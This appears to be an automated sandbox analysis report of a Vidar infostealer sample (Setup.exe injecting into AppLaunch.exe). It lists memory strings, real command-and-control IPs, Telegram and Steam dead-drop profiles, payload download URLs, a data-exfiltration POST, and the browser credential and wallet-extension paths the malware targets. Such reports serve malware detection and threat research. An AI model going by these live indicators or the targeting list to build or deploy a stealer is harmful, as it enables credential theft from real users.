Source: AppLaunch.exe, 00000002.00000002.309935962.000000002B66F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dl.uploadgram.me/63bb049fe3c89h?raw
Source: AppLaunch.exe, 00000002.00000002.299690333.0000000005143000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dl.uploadgram.me/63d00bc6c95a0g?raw
Source: AppLaunch.exe, 00000002.00000002.299690333.0000000005143000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dl.uploadgram.me/63d00bc6c95a0g?rawHN
Source: 68950836275313342672054142.2.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: AppLaunch.exe, 00000002.00000002.309935962.000000002B601000.00000004.00000020.00020000.00000000.sdmp, 68950836275313342672054142.2.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 68950836275313342672054142.2.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: AppLaunch.exe, 00000002.00000002.309935962.000000002B601000.00000004.00000020.00020000.00000000.sdmp, 68950836275313342672054142.2.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: AppLaunch.exe, 00000002.00000002.309935962.000000002B601000.00000004.00000020.00020000.00000000.sdmp, 68950836275313342672054142.2.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
Source: AppLaunch.exe, 00000002.00000002.309935962.000000002B601000.00000004.00000020.00020000.00000000.sdmp, 68950836275313342672054142.2.dr	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
Source: AppLaunch.exe, 00000002.00000002.309935962.000000002B601000.00000004.00000020.00020000.00000000.sdmp, 68950836275313342672054142.2.dr	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
Source: Setup.exe, 00000000.00000003.255863907.0000000002580000.00000040.00001000.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.256285347.00000000002C3000.00000004.00000001.01000000.00000003.sdmp, AppLaunch.exe, AppLaunch.exe, 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199472399815
Source: 92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr, 92398908710653760371.exe.2.dr	String found in binary or memory: https://studio.youtube.com/channel/mheap.freeSpanLocked
Source: 92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr, 92398908710653760371.exe.2.dr	String found in binary or memory: https://studio.youtube.com/reauth
Source: 92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr, 92398908710653760371.exe.2.dr	String found in binary or memory: https://studio.youtube.com/youtubei/v1/ars/grst?alt=json&key=net/http:
Source: 92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr, 92398908710653760371.exe.2.dr	String found in binary or memory: https://studio.youtube.com/youtubei/v1/att/esr?alt=json&key=https://studio.youtube.com/youtubei/v1/a
Source: 92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr, 92398908710653760371.exe.2.dr	String found in binary or memory: https://studio.youtube.com/youtubei/v1/security/get_web_reauth_url?alt=json&key=tls:
Source: 92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr, 92398908710653760371.exe.2.dr	String found in binary or memory: https://studio.youtube.comid
Source: AppLaunch.exe, 00000002.00000002.299690333.000000000507B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: Setup.exe, 00000000.00000003.255863907.0000000002580000.00000040.00001000.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.256285347.00000000002C3000.00000004.00000001.01000000.00000003.sdmp, AppLaunch.exe, AppLaunch.exe, 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000003.268531411.00000000050F9000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000002.299690333.000000000507B000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000003.268531411.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/litlebey
Source: Setup.exe, 00000000.00000003.255863907.0000000002580000.00000040.00001000.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.256285347.00000000002C3000.00000004.00000001.01000000.00000003.sdmp, AppLaunch.exe, 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/litlebeyhttps://steamcommunity.com/profiles/76561199472399815http://157.90.148.112:80ho
Source: AppLaunch.exe, 00000002.00000003.268531411.00000000050F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: AppLaunch.exe, 00000002.00000002.309935962.000000002B601000.00000004.00000020.00020000.00000000.sdmp, 68950836275313342672054142.2.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 92398908710653760371.exe, 00000004.00000002.311851337.000000C000160000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: 92398908710653760371.exe, 00000004.00000002.313523866.000000C0002FE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/getAccountSwitcherEndpoint
Source: 92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr, 92398908710653760371.exe.2.dr	String found in binary or memory: https://www.youtube.com/getAccountSwitcherEndpointmallocgc
Source: 92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr, 92398908710653760371.exe.2.dr	String found in binary or memory: https://www.youtube.comindex
Source: 92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr, 92398908710653760371.exe.2.dr	String found in binary or memory: https://youtube.com/inconsistent

Source: unknown

DNS traffic detected: queries for: t.me

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Code function: 2_2_0040D190 _strlen,_strlen,_memcmp,_strlen,_memcmp,_strlen,_strlen,_strlen,_strlen,_strlen,_strlen,_strlen,DeleteUrlCacheEntry,DeleteUrlCacheEntry,InternetOpenA,InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

2_2_0040D190

Source: global traffic	HTTP traffic detected: GET /litlebey HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0Host: t.me
Source: global traffic	HTTP traffic detected: GET /63d00bc6c95a0g?raw HTTP/1.1Host: dl.uploadgram.meCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /63bb049fe3c89h?raw HTTP/1.1Host: dl.uploadgram.meCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /getAccountSwitcherEndpoint HTTP/1.1Host: www.youtube.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /408 HTTP/1.1Host: 95.217.16.127
Source: global traffic	HTTP traffic detected: GET /get.zip HTTP/1.1Host: 95.217.16.127Cache-Control: no-cache

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 25 Jan 2023 20:04:28 GMTContent-Type: application/zipContent-Length: 1565849Connection: keep-aliveLast-Modified: Fri, 01 Jul 2022 07:59:49 GMTETag: "62bea975-17e499"Expires: Thu, 26 Jan 2023 20:04:28 GMTCache-Control: max-age=86400X-Cache-Status: HITAccept-Ranges: bytesData Raw: 50 4b 03 04 14 00 00 00 08 00 10 6e 55 53 4b 12 b5 9b e9 b5 00 00 48 47 01 00 10 00 00 00 76 63 72 75 6e 74 69 6d 65 31 34 30 2e 64 6c 6c ec fd 0b 40 54 d5 d7 30 0e 9f 61 06 18 71 60 46 05 45 45 1d 15 6f e1 65 98 e1 3e c3 55 06 f1 82 0e 22 e0 0d 11 b9 38 10 02 c1 39 a8 29 8a 0e 94 e3 69 ca 5f 59 59 59 69 5a 3f 2b 2b bb 99 99 19 88 09 98 29 5e 2a 4b 2b 34 ab 83 43 8a 46 80 4a ce b7 d6 3e 67 60 50 e9 79 9e f7 ff 3e ff f7 7b bf ef 41 f7 39 fb ba f6 da 6b af b5 f6 da fb ec bd 27 61 e1 16 4a 4c 51 94 04 9c cd 46 51 07 28 fe 2f 8a fa 8f ff 5a c0 79 8c 38 e8 41 7d d4 e7 eb 91 07 44 b3 be 1e 39 cf 98 5b a2 2c 2a 2e 5c 5e 9c b1 42 99 99 51 50 50 48 2b 97 65 2b 8b 99 02 65 6e 81 32 76 4e 92 72 45 61 56 f6 64 77 77 37 5f 01 86 e8 d6 ae d9 fa 6d 5f 0f b3 bb 1b 92 51 c3 a6 c1 7b 56 e3 92 61 b3 49 dc 89 61 f9 f0 de 7e bb de 27 99 bc 4f fa a4 90 77 9d 4f 34 79 7f e9 93 4e de 5f fb c4 92 b7 7a 18 ff 3e 45 c2 73 73 33 8d 08 d7 8e b3 41 4f 51 b3 44 ce 94 2c 64 dc 02 7b 5c 23 35 6a 64 5f 91 47 5f ea 2a 04 94 42 e4 bb e0 14 04 43 8a f8 d0 ef 44 51 2e f0 72 a3 f8 37 f9 8b 12 11 e2 1d ea e7 04 74 8c 8a 26 85 14 14 d5 fd e6 5f fb 80 58 9e 7d 28 aa 4a 21 a2 9e c0 48 a5 88 92 4a 1c 88 29 15 51 f1 91 f0 56 89 a8 ad 50 c1 be 11 14 15 42 f5 fe c7 8d b8 a7 8f 00 ee a1 7f c8 3f 99 ce 5e 45 c3 fb 68 93 80 d0 55 a1 d3 1d fe a0 e9 4b 27 67 65 d0 19 e0 8f 25 0d 14 91 36 53 d7 1c 73 91 7a ab 26 e7 f2 19 0f 38 f3 75 13 82 b4 dc 97 2f 6a 72 71 49 71 26 36 4f 82 15 08 f9 da 1e 94 2f 3b bf 30 93 22 6d 47 1a 50 32 78 77 de 97 2f 86 fa 9f bf ff ad 7f 45 63 e1 d1 00 0f 51 0b fa b6 8c 43 3a 8f c7 b8 87 30 d9 0f 45 06 1f 5b f0 b1 03 1f fb f0 51 85 8f 06 7c 28 27 62 87 e1 23 0a 1f 8d f8 50 4c c2 54 7c 50 93 31 88 8f a5 f8 68 51 63 89 00 8a e2 99 5b 15 8a f0 c2 30 a8 43 1f 3e a8 70 2c 11 81 25 f0 51 85 8f 46 7c 50 28 1d e5 f8 58 8a 8c 5f 14 8b 09 f8 a0 f4 58 39 3e 8a 88 2f 0e 71 c6 c7 52 7c 6c c1 07 35 0d eb c5 47 14 3e 96 e2 43 35 1d e1 cd 44 4c f1 d1 82 0f 6a 16 e6 c3 47 14 3e ca 49 30 01 d1 c0 47 d1 9b 18 87 8f 2d f8 d8 87 8f 2a e2 7b 0b f3 bd 8d 40 f1 11 85 8f a5 f8 28 22 c1 bd 58 02 1f 0d 7b ed 9a 65 3c 3c 44 1d f8 90 ec 83 87 6a 1f 82 c2 87 f4 7d 2c fb 01 12 1b 1f ca 0f 11 28 3e 12 f1 f1 1c 3e a8 8f a1 44 d1 7e 24 d3 67 48 83 06 04 7f 1a 83 df a1 ef 22 36 e6 47 2c fb 33 82 6a 44 0c 7e 45 5c f0 b1 f4 37 28 bb 03 1f 0d bf 61 02 87 a0 50 15 18 ac 58 a5 b5 07 6f d8 b5 5f b9 92 52 40 26 85 ca 49 a4 28 07 47 f1 9d ad d8 e3 49 29 ae 80 53 7a 51 0a c5 50 4a e1 0b 2e 0a dc 3c 70 34 b8 bd 10 7f 00 5c 15 b8 13 e0 ce 83 bb 02 ae 05 1c 35 90 52 c8 c0 79 82 f3 01 37 1e 5c 00 b8 88 81 bc d6 8c 82 77 3c 38 03 b8 79 e0 e6 83 5b 0c 6e 29 b8 2c 70 46 70 f9 e0 56 81 5b

Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.16.127

Source: 92398908710653760371.exe, 00000004.00000002.311851337.000000C000118000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&passive=1209600&continue=https%3A%2F%2Fwww.youtube.com%2FgetAccountSwitcherEndpoint&followup=https%3A%2F%2Fwww.youtube.com%2FgetAccountSwitcherEndpoint equals www.youtube.com (Youtube)
Source: 92398908710653760371.exe, 00000004.00000002.311851337.000000C000118000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: (?<="DELEGATED_SESSION_ID":")(<=INNERTUBE_CONTEXT_GL\":\")(?<=INNERTUBE_CONTEXT_SERIALIZED_DELEGATION_CONTEXT\":\"((?<=PAGE_CL\":).?(?=(,\|})))C:/Users/user/AppData/Local/Mail.Ru/Atom/User DataC:/Users/user/AppData/Roaming/8pecxstudios/CyberfoxC:/Users/user/AppData/Local/7Star/7Star/User DataC:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir\the-real-indexC:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhiC:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhiC:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmiedaC:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmiedaC:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Safe Browsing Network\NetworkDataMigratedC:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Safe Browsing Network\Safe Browsing CookiesC:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB\LOCKC:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDBC:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDBC:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB\C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB\LOGC:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000003.logC:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\MANIFEST-000001C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgiclC:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgiclC:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmiedaC:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmiedaC:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\ https://accounts.google.com/ServiceLogin?service=youtube&passive=1209600&continue=https%3A%2F%2Fwww.youtube.com%2FgetAccountSwitcherEndpoint&followup=https%3A%2F%2Fwww.youtube.com%2FgetAccountSwitcherEndpoint equals www.youtube.com (Youtube)
Source: 92398908710653760371.exe, 00000004.00000002.315587796.000000C000516000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: .google.com.bdn.devg.cn.google.ca.google.cl.google.co.in.google.co.jp.google.co.uk.google.com.ar.google.com.au.google.com.br.google.com.co.google.com.mx.google.com.tr.google.com.vn.google.de.google.es.google.fr.google.hu.google.it.google.nl.google.pl.google.pt.googleapis.cn.gstatic.cn.gstatic-cn.comgooglecnapps.cngkecnapps.cn.gkecnapps.cnrecaptcha.net.cnrecaptcha-cn.netwidevine.cn.widevine.cndoubleclick.cn.doubleclick.cngvt1-cn.com.gvt1-cn.comgvt2-cn.com.gvt2-cn.com2mdn-cn.net.2mdn-cn.netadmob-cn.com.admob-cn.com.gstatic.com.gvt1.com.gvt2.com.gcp.gvt2.com.url.google.com.ytimg.comandroid.com.android.com.g.cng.co.g.cogoo.glwww.goo.glgoogle.comggpht.cnyoutu.be.ggpht.cnurchin.com.urchin.comyoutube.comyt.be.youtube.comyoutubekids.com*.yt.beUSUSCaliforniaSan Francisco150317141638Z150317141638Z450309141638Z450309141638ZCalifornia2.2.5San Francisco2.5.2.5.292.5.29.2.5.29.142.2.52.5.2.5.292.5.29.2.5.29.352.2.52.5.2.5.292.5.29.2.5.29.19 equals www.youtube.com (Youtube)
Source: 92398908710653760371.exe, 00000004.00000002.313523866.000000C0002FE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: 5K; CP="This is not a P3P policy! See g.co/p3phelp for more info."https://www.youtube.com/getAccountSwitcherEndpoint equals www.youtube.com (Youtube)
Source: 92398908710653760371.exe, 00000004.00000002.313523866.000000C000298000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: CertCreateCertificateContextCertFreeCertificateContextwww.youtube.com equals www.youtube.com (Youtube)
Source: 92398908710653760371.exe, 00000004.00000002.315587796.000000C000528000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Host: www.youtube.com equals www.youtube.com (Youtube)
Source: 92398908710653760371.exe, 00000004.00000002.315587796.000000C000506000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Location: https://accounts.google.com/ServiceLogin?service=youtube&passive=1209600&continue=https%3A%2F%2Fwww.youtube.com%2FgetAccountSwitcherEndpoint&followup=https%3A%2F%2Fwww.youtube.com%2FgetAccountSwitcherEndpoint equals www.youtube.com (Youtube)
Source: 92398908710653760371.exe, 00000004.00000002.310878917.000000C000086000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: USERPROFILEC:\Users\userUSERPROFILEC:\Users\userUSERPROFILEC:\Users\userUSERPROFILEC:\Users\userUSERPROFILEC:\Users\userUSERPROFILEC:\Users\userUSERPROFILEC:\Users\userUSERPROFILEC:\Users\userUSERPROFILEC:\Users\userUSERPROFILEC:\Users\userwww.youtube.com:443www.youtube.com:443HTTP_PROXYhttp_proxyHTTPS_PROXYhttps_proxyNO_PROXYno_proxytcpwww.youtube.com equals www.youtube.com (Youtube)
Source: 92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr, 92398908710653760371.exe.2.dr	String found in binary or memory: flate: internal error: frame_goaway_has_streamframe_headers_pad_shortframe_rststream_bad_lengarbage collection scangcDrain phase incorrecthttp2: handler panickedhttp: request too largehttps://www.youtube.comindex out of range [%x]interrupted system callinvalid PrintableStringinvalid URI for requestinvalid UUID length: %dinvalid escape sequenceinvalid m->lockedInt = invalid scalar encodingjson: cannot unmarshal left over markroot jobsmakechan: bad alignmentmalformed HTTP responsemissing port in addressmissing protocol schememissing type in runfinqmultipart: NextPart: %vnanotime returning zeronet/http: abort Handlernetwork not implementedno application protocolno space left on devicenon-zero reserved fieldoperation not permittedoperation not supportedpanic during preemptoffprocresize: invalid argreflect.Value.Interfacereflect.Value.NumMethodreflect.methodValueCallruntime: internal errorruntime: invalid type runtime: netpoll failedruntime: s.allocCount= s.allocCount > s.nelemsschedule: holding lockssegment length too longshrinkstack at bad timeskipping Question Classspan has no free stackssql: database is closedstack growth after forksyntax error in patternsystem huge page size (text/css; charset=utf-8text/xml; charset=utf-8too many pointers (>10)truncated tag or lengthunexpected address typeunexpected map key typeunknown empty width argunknown error code 0x%xunpacking Question.Nameunpacking Question.Typeunsupported certificatevarint integer overflowwork.nwait > work.nprocx509: invalid key usagex509: malformed UTCTimex509: malformed version, equals www.youtube.com (Youtube)
Source: 92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr, 92398908710653760371.exe.2.dr	String found in binary or memory: got CONTINUATION for stream %d; expected stream %dhttp: putIdleConn: CloseIdleConnections was calledhttp: suspiciously long trailer after chunked bodyhttps://www.youtube.com/getAccountSwitcherEndpointmallocgc called with gcphase == _GCmarkterminationnet/http: HTTP/1.x transport connection broken: %vnet/http: Transport failed to read from server: %vnet/http: cannot rewind body after connection lossrecursive call during initialization - linker skewreflect.Value.Slice3: slice of unaddressable arrayruntime: unable to acquire - semaphore out of synctls: invalid signature by the server certificate: tls: received unexpected CertificateStatus messagex509: RSA public exponent is not a positive numberx509: invalid RDNSequence: invalid attribute valuex509: missing ASN.1 contents; use ParseCertificate{ equals www.youtube.com (Youtube)
Source: 92398908710653760371.exe, 00000004.00000002.315587796.000000C000516000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: gvt2-cn.com.gvt2-cn.com2mdn-cn.net.2mdn-cn.netadmob-cn.com.admob-cn.com.gstatic.com.gvt1.com.gvt2.com.gcp.gvt2.com.url.google.com.ytimg.comandroid.com.android.com.g.cng.co.g.cogoo.glwww.goo.glgoogle.comggpht.cnyoutu.be.ggpht.cnurchin.com.urchin.comyoutube.comyt.be.youtube.comyoutubekids.com.yt.beUSUSCaliforniaSan Francisco150317141638Z150317141638Z450309141638Z450309141638ZCalifornia2.2.5San Francisco2.5.2.5.292.5.29.2.5.29.142.2.52.5.2.5.292.5.29.2.5.29.352.2.52.5.2.5.292.5.29.2.5.29.19 equals www.youtube.com (Youtube)
Source: 92398908710653760371.exe, 00000004.00000002.311851337.000000C000160000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com equals www.youtube.com (Youtube)
Source: 92398908710653760371.exe, 00000004.00000002.313523866.000000C0002FE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/getAccountSwitcherEndpoint equals www.youtube.com (Youtube)
Source: 92398908710653760371.exe, 00000004.00000002.315189636.000000C00045C000.00000004.00001000.00020000.00000000.sdmp, 92398908710653760371.exe, 00000004.00000002.311851337.000000C00015A000.00000004.00001000.00020000.00000000.sdmp, 92398908710653760371.exe, 00000004.00000002.316021486.0000019E332AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: 92398908710653760371.exe, 00000004.00000002.310878917.000000C000086000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com:443 equals www.youtube.com (Youtube)
Source: 92398908710653760371.exe, 00000004.00000002.316021486.0000019E332DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.youtube.comJ equals www.youtube.com (Youtube)

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----0807260995325012Host: 95.217.16.127Content-Length: 140503Connection: Keep-AliveCache-Control: no-cache

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.222.250.82:443 -> 192.168.2.6:49716 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Code function: 2_2_00420CE0 _memset,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GlobalFix,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

2_2_00420CE0

Source: 68398609819664439000.exe, 00000008.00000002.317857093.00000000014FB000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: AppLaunch.exe PID: 5124, type: MEMORYSTR

Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown

PE file contains section with special chars

Source: Setup.exe

Static PE information: section name: .$"Z

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_00418180	2_2_00418180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_0040C3A0	2_2_0040C3A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_00428410	2_2_00428410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_0042B85D	2_2_0042B85D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_0043C0E0	2_2_0043C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_0042B0ED	2_2_0042B0ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_004062E0	2_2_004062E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_00409290	2_2_00409290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_0042C290	2_2_0042C290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_00427B50	2_2_00427B50

Source: C:\Users\user\Desktop\Setup.exe	Section loaded: sfc.dll	Jump to behavior
